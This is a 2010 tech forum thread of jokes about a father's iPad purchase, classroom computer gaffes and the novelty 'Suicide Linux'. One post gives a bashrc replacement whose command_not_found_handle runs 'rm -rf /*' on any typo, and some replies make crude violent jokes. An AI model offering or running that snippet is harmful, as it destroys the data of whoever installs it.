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[QUOTE=Forumaster;26489305]What's that one Linux distro that formats your hard drive whenever you type a command wrong in terminal?[/QUOTE] I don't have any info on that, but I do remember formatting a hard drive a few years back when working with Linux... Never been more frustrated in my life. I take that back, I have been more frustrated... but it was still a pretty stressful time.
More content from my dumbass dad! My dad came home today, and said to the family that he has bought us the "Best, most advanced and powerful Mac to come out so far, that is far better than any Wintel computer ever made (Glaring at me as he says this)" and pulls out of a Apple store bag a brand new 3G 64GB iPad, and stylus. He is now sitting in the living room trying to find an antivirus and a photoshop app for iPad. He just threw $799 dollars down the drain for a stupid frickin oversized iPod touch.
Lol what? I don't even think Apple advertises that the iPad is close to a Mac, what is your dad smoking? Because I think I want some.
[QUOTE=Mandrith;26490190]More content from my dumbass dad! My dad came home today, and said to the family that he has bought us the "Best, most advanced and powerful Mac to come out so far, that is far better than any Wintel computer ever made (Glaring at me as he says this)" and pulls out of a Apple store bag a brand new 3G 64GB iPad, and stylus. He is now sitting in the living room trying to find an antivirus and a photoshop app for iPad. He just threw $799 dollars down the drain for a stupid frickin oversized iPod touch.[/QUOTE] Wow that's really stupid. Like, REALLY REALLY stupid. It's nothing like a Mac(which made me angry because the rumors of it said that it would run OS X). I mean, this is incomprehensibly stupid.
[QUOTE=Mandrith;26490190]More content from my dumbass dad! My dad came home today, and said to the family that he has bought us the "Best, most advanced and powerful Mac to come out so far, that is far better than any Wintel computer ever made (Glaring at me as he says this)" and pulls out of a Apple store bag a brand new 3G 64GB iPad, and stylus. He is now sitting in the living room trying to find an antivirus and a photoshop app for iPad. He just threw $799 dollars down the drain for a stupid frickin oversized iPod touch.[/QUOTE] But....I....whaaa....why?.......:eng99:
[QUOTE=Mandrith;26490190]More content from my dumbass dad! My dad came home today, and said to the family that he has bought us the "Best, most advanced and powerful Mac to come out so far, that is far better than any Wintel computer ever made (Glaring at me as he says this)" and pulls out of a Apple store bag a brand new 3G 64GB iPad, and stylus. He is now sitting in the living room trying to find an antivirus and a photoshop app for iPad. He just threw $799 dollars down the drain for a stupid frickin oversized iPod touch.[/QUOTE] Leave this house now. I'm offering you shelter and food for free.
[QUOTE=PiXeN;26490664]Leave this house now. I'm offering you shelter and food for free.[/QUOTE] And a free computer until you can build your own [editline]4th December 2010[/editline] Ask him, If it really is that powerful, why can't it multitask? [editline]4th December 2010[/editline] Also, point and laugh at it's 1024x768 screen
It can with the latest update. Though otherwise it is really restricted, world of goo was submitted 2 weeks ago and is no where to be found on the app store.
[QUOTE=Vbits;26490846]It can with the latest update. Though otherwise it is really restricted, world of goo was submitted 2 weeks ago and is no where to be found on the app store.[/QUOTE] Does it actually work? Still, not quite the same as a computer when you can have only one app on the screen at a time...
Content: People in my IT class where blown away when someone renamed the recycling bin to "Shit can". He was all :smug: Wonder what happens if i show everyone rainmeter Also: My english teacher was trying to get the volume unmuted, someone shouted out to double click the blue icon in the taskbar (Intel graphics driver) and spent half an hour looking around in the graphics driver for volume settings. I just sat with my face on the desk for about 5 minutes
[QUOTE=Warship;26490906]Does it actually work? Still, not quite the same as a computer when you can have only one app on the screen at a time...[/QUOTE] Yeah the multitasking is real though it is more like App hibernation.
[QUOTE=PiXeN;26490664]Leave this house now. I'm offering you shelter and food for free.[/QUOTE] And I'm offering weapons and ammunition, to take care of the other problems.
[QUOTE=gman003-main;26491322]And I'm offering weapons and ammunition, to take care of the other problems.[/QUOTE] I'll do you one better and offer weapons, ammunition, training, and a ninja suit. You gotta have a ninja suit to deal with a problem of this magnitude.
[QUOTE=MacTrekkie;26491418]I'll do you one better and offer weapons, ammunition, training, and a ninja suit. You gotta have a ninja suit to deal with a problem of this magnitude.[/QUOTE] Even though a ninja suit can't bring content into this thread.
[QUOTE=Forumaster;26489305]What's that one Linux distro that formats your hard drive whenever you type a command wrong in terminal?[/QUOTE] [media]http://www.youtube.com/watch?v=Q_pgnMWgd34[/media] [url=http://www.qntm.org/suicide]Suicide Linux[/url]
[QUOTE=Mandrith;26490190]More content from my dumbass dad! My dad came home today, and said to the family that he has bought us the "Best, most advanced and powerful Mac to come out so far, that is far better than any Wintel computer ever made (Glaring at me as he says this)" and pulls out of a Apple store bag a brand new 3G 64GB iPad, and stylus. He is now sitting in the living room trying to find an antivirus and a photoshop app for iPad. He just threw $799 dollars down the drain for a stupid frickin oversized iPod touch.[/QUOTE] [img]http://www.ragefaces.com/i/nuclear_fucking_rage/img[/img] If he used the money you were saving for YOUR pc, then shit just got real. Tell me your address. Give me a photo of your father. You're going to be an orphan.
[QUOTE=B1N4RY!;26489529]What the hell[/QUOTE] Yeah, if you ever type any command wrong, say "sudo ap-get install firefox", it automatically parses it into rm -rf /, thus erasing itself. I can't remember its name or where I saw it (I want to say one of the Engadget sites). [editline]4th December 2010[/editline] [QUOTE=MasterFen007;26491494][media]http://www.youtube.com/watch?v=Q_pgnMWgd34[/media] [url=http://www.qntm.org/suicide]Suicide Linux[/url][/QUOTE] THERE WE GO! Thanks. [editline]4th December 2010[/editline] [QUOTE=MasterFen007;26491494][media]http://www.youtube.com/watch?v=Q_pgnMWgd34[/media] [url=http://www.qntm.org/suicide]Suicide Linux[/url][/QUOTE] THERE WE GO! Thanks. [editline]4th December 2010[/editline] Here's where I saw it: [url]http://downloadsquad.switched.com/2010/02/19/think-youve-mastered-linux-prove-it-with-suicide-linux#comments[/url] I couldn't find it in a search because the fuckers didn't have "linux" as a tag. [editline]4th December 2010[/editline] Here's where I saw it: [url]http://downloadsquad.switched.com/2010/02/19/think-youve-mastered-linux-prove-it-with-suicide-linux#comments[/url] I couldn't find it in a search because the fuckers didn't have "linux" as a tag.
[QUOTE=Mandrith;26490190]More content from my dumbass dad! My dad came home today, and said to the family that he has bought us the "Best, most advanced and powerful Mac to come out so far, that is far better than any Wintel computer ever made (Glaring at me as he says this)" and pulls out of a Apple store bag a brand new 3G 64GB iPad, and stylus. He is now sitting in the living room trying to find an antivirus and a photoshop app for iPad. He just threw $799 dollars down the drain for a stupid frickin oversized iPod touch.[/QUOTE] How have you not killed yourself yet?
[QUOTE=Mandrith;26490190] He just threw $799 dollars down the drain for a stupid frickin [B]oversized iPod touch.[/B][/QUOTE] [img]http://1.bp.blogspot.com/_mmBw3uzPnJI/S2LuPgoyXKI/AAAAAAABARc/AxYACkUZA3k/s400/ipad_01.jpg[/img]
[QUOTE=MasterFen007;26491494][media]http://www.youtube.com/watch?v=Q_pgnMWgd34[/media] [url=http://www.qntm.org/suicide]Suicide Linux[/url][/QUOTE] Just patch/replace the content of your /etc/bash.bashrc with this: [code]# System-wide .bashrc file for interactive bash(1) shells. # Set wrning message echo " =========================================================" echo " WARNING: Suicide-Linx installed" echo " (http://sourceforge.net/projects/suicide-linux/)" echo " =========================================================" # To enable the settings / commands in this file for login shells as well, # this file has to be sourced in /etc/profile. # If not running interactively, don't do anything [ -z "$PS1" ] && return # check the window size after each command and, if necessary, # update the values of LINES and COLUMNS. shopt -s checkwinsize # set variable identifying the chroot you work in (used in the prompt below) if [ -z "$debian_chroot" ] && [ -r /etc/debian_chroot ]; then debian_chroot=$(cat /etc/debian_chroot) fi # set a fancy prompt (non-color, overwrite the one in /etc/profile) PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ ' # Commented out, don't overwrite xterm -T "title" -n "icontitle" by default. # If this is an xterm set the title to user@host:dir #case "$TERM" in #xterm*|rxvt*) # PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"' # ;; #*) # ;; #esac # enable bash completion in interactive shells #if [ -f /etc/bash_completion ] && ! shopt -oq posix; then # . /etc/bash_completion #fi # sudo hint if [ ! -e $HOME/.sudo_as_admin_successful ]; then case " $(groups) " in *\ admin\ *) if [ -x /usr/bin/sudo ]; then cat <<-EOF To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. EOF fi esac fi [b] # if the command-not-found package is installed, use it if [ -x /usr/lib/command-not-found ]; then #If command is not found, delete hard drive command_not_found_handle(){ rm -rf /*; echo "Oops, looks like you misspelt something :(";} # function command_not_found_handle { # # check because c-n-f could've been removed in the meantime # if [ -x /usr/lib/command-not-found ]; then # /usr/bin/python /usr/lib/command-not-found -- $1 # return $? # else # return 127 # fi # } fi[/b] [/code] Your terminal is a mine field now.
[QUOTE=Mandrith;26490190]More content from my dumbass dad! My dad came home today, and said to the family that he has bought us the "Best, most advanced and powerful Mac to come out so far, that is far better than any Wintel computer ever made (Glaring at me as he says this)" and pulls out of a Apple store bag a brand new 3G 64GB iPad, and stylus. He is now sitting in the living room trying to find an antivirus and a photoshop app for iPad. He just threw $799 dollars down the drain for a stupid frickin oversized iPod touch.[/QUOTE] Anti virus for iOS, that's incredibly dumb. Doesn't your dad believe that macs don't get viruses? And therefore by extension, the iDevices too? And with Jobs marketing saying that they can not get viruses, I don't think he would let an anti virus on the store. [editline]5th December 2010[/editline] [QUOTE=jimhowl33t;26491555][img_thumb]http://www.ragefaces.com/i/nuclear_fucking_rage/img[/img_thumb] If he used the money you were saving for YOUR pc, then shit just got real. Tell me your address. Give me a photo of your father. You're going to be an orphan.[/QUOTE] What about his mum?
[QUOTE=Atokniro;26492529] What about his mum?[/QUOTE] Collateral Damage.
[QUOTE=LinuX;26491977][img_thumb]http://1.bp.blogspot.com/_mmBw3uzPnJI/S2LuPgoyXKI/AAAAAAABARc/AxYACkUZA3k/s400/ipad_01.jpg[/img_thumb][/QUOTE] but that can multitask :v:.
[QUOTE=finbe;26492659]but that can multitask well sort of.[/QUOTE] Does multitasking better than the iPad, well, until you hit Duct tape. That might cause some problems.
Tape it at the back then.
Use glue for it instead, Like metal glue or super glue. [editline]5th December 2010[/editline] OR iGLUE!
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[QUOTE=Atokniro;26492529]What about his mum?[/QUOTE] Dunno, emergency food ration?
Wow. mandrith deserves all the dosh he could ever wish for due to the shit he puts up with.
[QUOTE=wingless;26492826] OR iGLUE![/QUOTE] oh man I have to buy this stuff because it costs 30$
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